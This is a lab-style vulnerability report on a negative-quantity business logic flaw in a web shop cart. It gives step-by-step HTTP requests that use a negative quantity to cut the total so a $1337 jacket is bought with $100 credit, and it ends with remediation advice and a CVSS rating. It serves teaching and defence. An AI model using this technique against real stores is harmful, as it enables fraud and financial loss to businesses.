

Title of Issue

Business Logic Vulnerability — Negative Quantity Manipulation Bypasses Price Controls

Description

The application's shopping cart fails to validate that product quantities must be positive integers. While the server correctly rejects modifications to the product price, it blindly accepts negative values for the `quantity` parameter. By adding an expensive item to the cart and then adding a second, cheaper item with a negative quantity, an attacker can cause the cart total to drop below the cost of the expensive item — or even to a value within their available store credit — allowing a high-value purchase for effectively nothing.

This is a high-level business logic flaw: the application enforces pricing at the product level but fails to enforce valid quantity constraints at the cart level.

Affected Endpoint: `POST /cart` **Vulnerable Parameter:** `quantity` (accepts negative integers)

Steps to Exploit

1. Log in as `wiener:peter` (store credit: \$100.00).
2. Navigate to the shop and add the **Lightweight I33t leather jacket** (\$1337.00) to the cart normally.
3. Now add any cheaper product to the cart with a negative quantity by sending a direct POST request:

```
POST /cart HTTP/1.1
Content-Type: application/x-www-form-urlencoded

productId=2&redir=PRODUCT&quantity=-233
```

4. Navigate to the cart — the negative quantity of the cheap product reduces the total below \$100.00.
 5. Adjust the negative quantity so the total falls within the available store credit.
 6. Proceed to checkout and place the order.
-

Proof of Concept

Step 1 — Add jacket to cart (normal):

```
POST /cart HTTP/1.1
Host: <lab-id>.web-security-academy.net
Cookie: session=<wiener-session>
Content-Type: application/x-www-form-urlencoded

productId=1&redir=PRODUCT&quantity=1
```

Cart total: \$1337.00

Step 2 — Add cheap item with negative quantity:

```
POST /cart HTTP/1.1
Host: <lab-id>.web-security-academy.net
Cookie: session=<wiener-session>
Content-Type: application/x-www-form-urlencoded

productId=2&redir=PRODUCT&quantity=-233
```

Cart calculation:

Lightweight l33t leather jacket x1:	\$1337.00
Cheap product x(-233):	-\$1280.15
Cart total:	\$56.85

The total is now within the \$100.00 store credit.

Step 3 — Place order:

```
POST /cart/checkout HTTP/1.1
Host: <lab-id>.web-security-academy.net
Cookie: session=<wiener-session>
Content-Type: application/x-www-form-urlencoded

csrf=<token>
```

Response: Order accepted — jacket purchased for \$56.85 out of \$100.00 credit.

Impact

- Purchase of high-value items at a fraction of their true cost.
- Direct financial loss to the business through inventory depletion without adequate payment.
- Demonstrates that enforcing individual controls (price integrity) without holistic business logic validation is insufficient.
- Can be automated to purchase arbitrary quantities of high-value goods.

Mitigation / Remediation

1. **Validate that all quantity values are positive integers** server-side — reject any `quantity` value of zero or less with a `400 Bad Request` response.
2. **Validate the cart total server-side** before processing payment — ensure it matches the expected sum of (quantity × server-side price) for each line item.
3. **Enforce a minimum order value** if applicable, and validate it is not circumvented by negative-quantity manipulation.
4. **Implement comprehensive business logic test cases** covering boundary values, negative numbers, and non-integer quantities.
5. **Audit all numeric input fields** for missing server-side range and sign validation.

CVSS Score

CVSS v3.1 Score: 7.5 (High) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

CVSS Justification

Metric	Value	Rationale
Attack Vector	Network	Exploitable remotely via HTTP
Attack Complexity	Low	Negative quantity is a simple parameter value
Privileges Required	Low	Requires a valid (low-privilege) authenticated session
User Interaction	None	No victim interaction required
Scope	Unchanged	Impact within the application's commerce system
Confidentiality Impact	None	No data exfiltrated
Integrity Impact	High	Order and financial data manipulated
Availability Impact	None	No service disruption